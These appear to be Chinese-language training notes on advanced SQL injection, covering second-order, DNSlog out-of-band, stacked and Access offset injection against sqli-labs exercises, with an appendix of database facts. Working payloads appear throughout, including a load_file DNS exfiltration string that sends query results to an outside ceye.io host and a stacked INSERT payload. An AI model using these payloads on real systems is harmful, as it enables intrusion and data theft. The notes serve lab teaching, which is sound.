注入扩展
加解密注入
数据的加密,base64、md5等
inurl:id=MQ==
二次注入
原理:主要分为两步
第一步:插入恶意数据
第一次进行数据库插入数据的时候,用户向数据库插入恶意语句,但是在写入数据库的时候还是保留原来的数据
第二步:引用恶意数据
在将数据存入到数据库之后,寻找另一处引用这个数据的操作,取出后直接给变量并带入数据库,这样就造成了SQL的二次注入
yucedu’#
UPDATE users SET PASSWORD=’$pass’ where username=’yucedu’#’ and password=’$curr_pass’
#如果输入框有长度限制怎么办?
1、前端限制:通过修改前端参数
2、后端限制:没有办法
DNSlog注入
#原理:有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、DNS解析、SMB服务等将数据带出。DNSlog盲注可以减少发送的请求,直接回显数据实现注入
利用前提条件:
mysql.ini中secure_file_priv必须为空
★secure_file_priv为null,不允许导入导出
★secure_file_priv为/tmp,导入导出只能在/tmp目录下
★secure_file_priv为空时,则不做限制允许导入导出
payload:
?id=1’ and load_file(concat(‘\\‘,(select database()),’.evs4gq.ceye.io\abc’))–+
相应的更换select database()查询语句便可以实现DNS外带的回显注入,其中evs4gq.ceye.io为ceye.io平台给每个账号起的昵称
python dnslogSql.py -u “http://192.168.80.140/sqlilabs/Less-2/?id=1 and ({})–+”
堆叠查询注入
#原理:多条 sql 语句一起执行,其中采用;(分号)标识一条语句的结束,表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection(堆叠注入)
#局限性
需要知道一些数据库相关信息的,例如表名,列名等信息
#堆叠注入和联合注入有何区别?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
payload:
#sqlilabs-less38
http://127.0.0.1/sqlilabs/less-38/?id=1';insert into users(id,username,password) values (‘100’,’test’,’test’)–+
id=1’;insert into users(id,username,password) values (‘100’,’test’,’test’)–+
SELECT * FROM users WHERE id=’’;insert into users(id,username,password) values (‘100’,’test’,’test’)–+’ LIMIT 0,1
Access数据库
Access和Mysql数据库架构组成区别
1、除了Access之外,其他数据库的架构基本是一样的
2、在网站搭建的时候,access数据库会直接保存在源码下面,是独立存在的
参考:https://blog.csdn.net/bylfsj/article/details/101390839
#Mysql数据库结构(oracle、mssql等)
数据库A
表名
列名
数据
数据库B
表名
列名
数据
#Access数据库结构
表名
列名
数据
如果Access暴力猜解不出来怎么办?
1、Access偏移注入:解决列名获取不到的情况
2、查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况 inurl:zb_system
用”“代表 admin 表的字段数,计算代替字符的位数。
sqlilabs-less21 cookie&加解密注入
sqlilabs-less24 登录框&二次注入
sqlilabs-Less38 堆叠注入(多语句)
Access数据库本地搭建靶场-偏移注入
涉及资源
http://ceye.io/ CEYE平台
https://www.cnblogs.com/backlion/p/9721687.html 堆叠注入
https://github.com/ADOOO/DnslogSqlinj DNSlog注入工具
https://pan.baidu.com/s/1dG7aK2Fk-qNLYNgF09msjA 提取码:70oz
附录
注释符
MySQL: 单行:# 、多行: //
SQLServer:单行: – 多行: //
Oracle:单行: – 多行: //
PostgreSQL:单行:– 多行: //
Access:无注释符
数据库端口
MySQL: 3306
SQLServer: 1433
Oracle:1521
PostgreSQL:5432
Access: 属于文件型数据库,所以不需要端口号
数据库文件后缀名
MySQL:数据文件:. myd 、索引文件:. MYI 、表定义文件:. frm
SQLServer: .mdf
Oracle:.dbf 和 .ora
PostgreSQL:无后缀名
Access:早期是 .mdb ,后来是 .accdb
特有的数据库
MySQL: information_schema
SQLServer:sysobjects
Oracle:dual
PostgreSQL:
Access:msysobjects
查看当前用户或权限
MySQL
1、查询当前用户
select user();
select substring_index(user(), ‘@’, 1) ;
2、查询当前用户的权限
select * from mysql.user where user = substring_index(user(), ‘@’, 1) ;
SQLServer
1、判断是否是SA权限
select is_srvrolemember(‘sysadmin’)
2、判断是否是db_owner权限
select is_member(‘db_owner’)
3、判断是否是public权限
select is_srvrolemember(‘public’)
Access数据库是文件类型数据库,没有用户和权限的概念